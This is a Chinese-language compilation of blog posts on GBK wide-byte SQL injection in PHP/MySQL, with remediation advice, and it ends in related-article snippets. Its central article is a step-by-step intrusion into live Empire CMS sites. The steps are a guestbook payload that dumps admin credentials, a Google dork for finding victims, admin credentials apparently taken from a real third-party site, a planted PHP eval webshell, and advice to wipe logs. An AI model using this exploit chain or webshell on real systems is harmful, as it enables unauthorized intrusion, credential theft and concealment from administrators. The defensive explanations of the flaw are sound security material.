宽字节(宽字符)注入

字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); mysql_query(”SET NAMES ‘GBK’”); mysql_select_db(”test”,$conn); $user = mysql_escape_string($_GET[‘user‘]); $pass = mysql_escape_string($_GET[‘pass‘]); $sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”; $result = mysql_query($sql,$conn); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[] = $row; } ?>

则通过以下注入即可:

http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SETcharacter_set_client=binary来设定客户端的字符集是二进制的。如:

mysql_query(”SET character_set_client=binary”);

==================================================================

php关于宽字节编码的一个实验

http://hi.baidu.com/kashifs/blog/item/385b004410c5a1186a63e51a.html

2010/12/01 06:06P.M.

以前对宽字节还是停留在GET上,得益于toby57牛的某篇文章,深入了一下

GPC打开了

提交:誠‘);phpinfo();//

转换:誠\‘);phpinfo();//

<?php

$config=array(‘誠\‘);phpinfo();//‘);

?>

php开始处理:D5 5C 5C 27... ,先处理转义,\ 没有了特殊作用,变成了 D5 \ ‘ ...,开始执行:誠‘...,单引号引入,phpinfo执行。

运气好的话写shell?POST提交注入?

SET character_set_connection=$dbcharset,character_set_results=$dbcharset, character_set_client=binary

前两句防止乱码,最后一句防止宽字节注入。

Toby57:

在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

iconv(‘GBK‘, ‘UTF-8‘, $_GET[‘para‘]); //由GBK编码转为UTF-8

test.php?para=a%e5%27

可在末尾引入chr(39) 即 ‘

$username=iconv(‘UTF-8‘, ‘GBK‘, $_GET[‘para‘]); //由UTF-8编码转为GBK

test.php?para=a%e9%8c%a6

可在末尾引入chr(92) 即 \

==================================================================

对宽字符的一些测试

一直觉得对这类漏洞成因了解不够透彻,今天用了一些简单测试。

<?php //Magic_quote_GPC = ON $conn = mysql_connect(‘127.0.0.1‘,‘root‘,‘root‘); mysql_select_db(‘mysql‘,$conn); mysql_query("SET character_set_client=‘binary‘") or die(mysql_error()); //mysql_query("SET character_set_client=‘GBK‘") or die(mysql_error()); //$username=mb_convert_encoding($_GET[‘para‘],‘utf-8‘,‘gbk‘); //$username=iconv(‘GBK‘, ‘UTF-8‘, $_GET[‘para‘]); $username=iconv(‘UTF-8‘, ‘GBK‘, $_GET[‘para‘]); //$username = stripslashes($_GET[‘para‘]); $querystr = "SELECT host FROM user WHERE user=‘{$username}‘"; echo $querystr."<br/>"; if ($res = mysql_query($querystr)){ echo "OK..<br/>"; } else { echo "Bad..:::".mysql_error()."<br/>"; } echo dumpstr($username); function dumpstr($string){ $tmpstr = ‘‘; for($i=0;isset($string[$i]);$i++){ $tmpstr .= "chr(".ord($string[$i]).")."; } return substr($tmpstr,0,-1); }  ?>

在character_set_client为GBK情况下还好点,在character_set_client为binary情况下,只有借助其它函数的转换如iconv等来引入特殊字符。

iconv(‘GBK‘, ‘UTF-8‘,$_GET[‘para‘]);//由GBK编码转为UTF-8

test.php?para=a%e5%27

可在末尾引入chr(39)即‘。

$username=iconv(‘UTF-8‘,‘GBK‘, $_GET[‘para‘]);//由UTF-8编码转为GBK

test.php?para=a%e9%8c%a6

可在末尾引入chr(92)即\。

==================================================================

还是宽字符。。

今天 发现了以前对mysql_real_escape_string的误解,以前以为SET NAMES gbk加上real_escape就安全了,结果不是这样,real_escape会根据当前连接的字符集进行编码,但仅仅SET NAMES并不会改变字符集,测试 如下:

返回

要想通知PHP改变当前连接字符集还得使用mysql_set_charset()才行,做个简单记录。

参考 :

http://www.laruence.com/2010/04/12/1396.html

http://www.mirecle.com/2010/04/13/php-in-the-set-names-and-mysql_set_charset.html

http://topic.csdn.net/u/20090202/10/bc90e3a2-660b-443d-b1d0-6a644601bdd6.html

==================================================================

今天看了bhst的这篇文章

http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1

了解了宽字符注入的一些东西

php 使用php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处理的 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的

例如这里:

http://localhost/gbk.php?username=%df%27 //多字节编码

%df%27=運‘    //看,出单引号了,后面就可以构造了

http://localhost/test/b.php?username=%df%27 or1%23

sql语句类似这样: SELECT * FROMdemo WHERE username = ‘運‘ or 1#‘ LIMIT 1

这样就可以注入啦

在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,

结果就是:

神马php自带的addslashes,mysql_escape_string,

还有php.ini的magic_quotes_gpc神马的,都无法过滤宽字节搞出来的单引号,注入就来了

现在修补办法就是设置设置客户端的字符集为二进制,

类似这样:

mysql_query("SETCHARACTER SET ‘gbk‘", $conn); //不安全的 mysql_query("SETcharacter_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); //安全的

当然,这样还不能高枕无忧,还需注意,在下面的使用中,不要将用户输入的东西随便转换编码,

因为一旦转换,宽字符就又来了,上面写的二进制可只有gbk,你要是转成utf-8,那宽字符不是又来了么。

特别记录下,自己以后写代码神马的要注意下,假如要挖洞,也要注意,那个ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是这样的吗。

==================================================================

帝国CMS系统注入漏洞分析

在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

http://www.hackest.cn/article.php?id=1and 1=2/*

这个经典的判断目标是否存在注入的例子就是单字节注入。

说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?>

则可以通过构造以下语句进行注入:

http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=

%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="

---------------------------------------------------------------------------------------

以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^

---------------------------------------------------------------------------------------

二、实践

理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

//权限 if($gbr[‘groupid‘]) { include("../../class/user.php"); $user=islogin(); include("../../class/MemberLevel.php"); if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level]) { echo"<script>alert(‘您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!‘);history.go(-1);</script>"; exit(); } } esetcookie("gbookbid",$bid,0); $bname=$gbr[‘bname‘]; $search="&bid=$bid"; $page=(int)$_GET[‘page‘]; $start=(int)$_GET[‘start‘]; $line=12;//每页显示条数 $page_line=12;//每页显示链接数 $offset=$start+$page*$line;//总偏移量 $totalnum=(int)$_GET[‘totalnum‘]; if($totalnum) { $num=$totalnum; } else { $totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid=‘$bid‘ and checked=0"; $num=$empire->gettotal($totalquery);//取得总条数 } $search.="&totalnum=$num"; $query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid=‘$bid‘ and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊! $query=$query." order by lyid desc limit $offset,$line"; $sql=$empire->query($query); $listpage=page1($num,$line,$page_line,$start,$page,$search); $url="<a href=../../../../>".$fun_r[‘index‘]."</a> > ".$fun_r[‘saygbook‘]; ?>

注 意注释部分! 作者:hackest [H.S.T.]

注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:

姓名:123縗\

联系邮箱:,1,1,1,(selectconcat(username,0x5f,password,0x5f,rnd) from phome_enewsuser whereuserid=1),1,1,1,0,0,0)/*

联系电话:随便写

留言内容:随便写

填好后如图2

提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。

wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!

如果您的浏览器没有自动跳转,请点击这里

而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没有什么意外的收获,其博客、论坛、邮箱、官 方站点FTP、官方站点3389等均无法进入,所以官方是搞不到Webshell了。

三、替补

官方进不去就找个替罪羊吧,Google以关键字“inurl:e/tool/gbook/?bid=1”搜索,搜出来的站点99%都是用帝国CMS的。随便找了一个,测试证明,漏洞存在,如图4。

可恨的是这个MD5值也是无法在线查询出来的,又得开动彩虹表跑跑咯,把刚才官方的那个MD5也一起跑了吧,出去吃完饭回来,结果就出来了,如图5。

顺 便啰嗦一下,如果有志于网络安全事业的发展,彩虹表还是必不可少的。什么是彩虹表呢?就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合, 不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

该进后台了,后台地址默认为e/admin/。用户名:joycar,密码:zuxywz119,顺便进入后台,如图6。

进 了后台应该怎么样才能拿到Webshell呢?添加上传后缀,我试了下,不可行。网上搜了一下相关资料,原来在模板管理那里有猫腻哦。进入后台-> 模板管理->自定义页面->增加自定义页面。页面名称随便填,文件名也得取一个,文件名处可以填指定路径,分类不必理会,页面内容处写入如下 代码:

<\?phpeval($_POST[cmd]);?\>

一般的PHP一句话马的代码 是<?php eval($_POST[cmd]);?>,其中cmd是密码。但是这里一定要按上面要求的前后都要加上\,不加的话就不会成功,非常重要,务必记 住!然后点击提交,再返回到管理自定义页面,点击刚才起的页面名称,直接跳转至e/admin/template/hackest.php,无法找到该 页,路径不对嘛,当然找不到了,改成e/admin/hackest.php,再访问,一片空白,心中窃喜,有戏了……如图7、图8。

再用lanker微型PHP+ASP管理器1.0双用版连接一句话,提交下环境变量看看,如图9。

再上传一个PHP大马就大功告成了,是Linux系统的,发行版是Red Hat Enterprise Linux AS release 4,有溢出保护,提不了权咯,如图10。

最 后千万记得把刚才爆用户名和密码的那条留言删除,再把你添加的自定义页面也删除,后台日志也处理下。好多人都不知道什么叫清理日志,其实就是尽可能地把关 于你的操作的相关记录删除。比如你登录了3389,系统日志会记录,比如你登录了FTP,应用程序日志也会记录,比如你对这个网站做了注入攻击,IIS或 者其他WEB应用程序也会记录……技术过硬的管理员能从这些日志里分析出你的攻击方法,攻击来源等细节,安全工作一定要做足,万万马虎不得。

四、修补

官方虽然也被爆了一段时间了,但是似乎并没有引起足够的重视,截止至发稿日仍然没看到官方有任何关于修补此漏洞的解决方案(其实也不能完全算是帝国CMS的错,编码这个问题最近闹得比较凶-_-)。

解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。

大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(‘)会被转义成\‘。比如字 符%bf在满足上述条件的情况下会变成%bf\‘。其中反斜杠(\)的十六进制编码是%5C,单引号(‘)的十六进制编码是%27,那么就可以得出%bf \‘=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \‘=%bf%5c%27=縗‘。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小 工具来转换一下,如图1。

打开Google以关键字inurl:e/tool/gbook/?bid=1进行搜索。

搜索出来的是留言本,其实就是留言本出现漏洞了。

主要填写您的姓名和联系邮箱这两处,其它的随便填。

您的姓名:縗\

联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) fromphome_enewsuser where userid=1),1,1,1,0,0,0)/*

然后进行提交返回页面即爆出用户名密码。人品好的话,密码破解成功后进入网站后台,后台地址 e/admin/

接着拿shell,进入后台后点顶部模板管理。然后左边的自定义页面-增加自定义页面,页面内容填写PHP一句话,<\?php eval($_POST[cmd]);?\>完了,回到管理自定义页面,点击刚才起的页面名称。页面直接跳转到e/admin/template/x.php,提示会找不到页面,去掉template即可。真实地址是e/admin/x.php,如显示一片空白的话就成功了。

最后用lanker微型PHP+ASP双用版连接一句话即可。

提示:别死心眼啊,自定义页面内容可以改成ASP的

时间: 2024-08-04 11:17:48

宽字节(宽字符)注入的相关文章

浅谈对宽字节注入的认识

宽字节注入之前看到过,但是没有实战过,后面也没有找到合适的测试环境,今天刚好看到一个关于宽字节注入的ctf题,因此借此来学习下宽字节注入,如果写得不好的地方,烦请各位多多指导,谢谢!本文主要是简单介绍下宽字节注入,以及如何通过手工和工具进行宽字节注入的一个利用,通过本文我主要学习到以下三点: 1.扩展了我对SQL注入进行探测的一个思路! 2.学习了如何使用宽字节探测注入! 3.如何使用sqlmap自动化对宽字节进行注入! 0x01   宽字节注入 这里的宽字节注入是利用mysql的一个特性,my

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型转义了&#39;/&quot;字符的宽字节注入)

转义函数,针对以下字符,这样就无法闭合引号,导致无法注入 ' --> \' " --> \" \ --> \\ 但是,当MySQL的客户端字符集为gbk时,就可能发生宽字节注入,参照 http://netsecurity.51cto.com/art/201404/435074.htm %df' --> %df\' %df%5c' 这样引号就被闭合了,至于%df%5c就成了汉字 運 成功闭合 http://192.168.136.128/sqli-labs-mas

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: \':2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

宽字节注入

sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过. 反斜杠的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符"縗". %bf那个位置可以是%81-%fe中间的任何字符.不止在sql注入中,宽字符注入在很多地方都可以应用.

MYSQL注入天书之宽字节注入

Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解.我们在此介绍一下宽字节注入的原理和基本用法. 原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)

74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)

0x01 前言 最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的<代码审计 企业级Web代码安全架构>让我这个初学者能够入门.思路特别棒.我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了.H''Homaebic师傅教会了我很多思路.抱拳了老铁. 0x02 假漏洞 在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞.出现"问

宽字节注入详解

前言 在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性. 首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到 <meta charset=utf8> 就放弃了尝试,这是一个误区,SQL注入不是XSS.虽然他们中编码的成因相似,不过发生的地点不同. 很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么

Mysql宽字节注入(转)

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的汉字,占用3个字节.在php中

深入探究宽字节注入漏洞与修补原理

 0.前言 最近要为了自动化审计搜集所有PHP漏洞,在整理注入的时候,发现宽字节注入中使用iconv造成的漏洞原理没有真正搞懂,网上的文章也说得不是很清楚,于是看了荣哥(lxsec)以前发的一篇http://www.91ri.org/8611.html,加上我们两个人的讨论,最终有了这一篇深入的研究成果. 1.概述 主要是由于使用了宽字节编码造成的. 什么是字符集? 计算机显示的字符图形与保存该字符时的二进制编码的映射关系. 如ASCII中,A(图形)对应编码01000001(65). 对于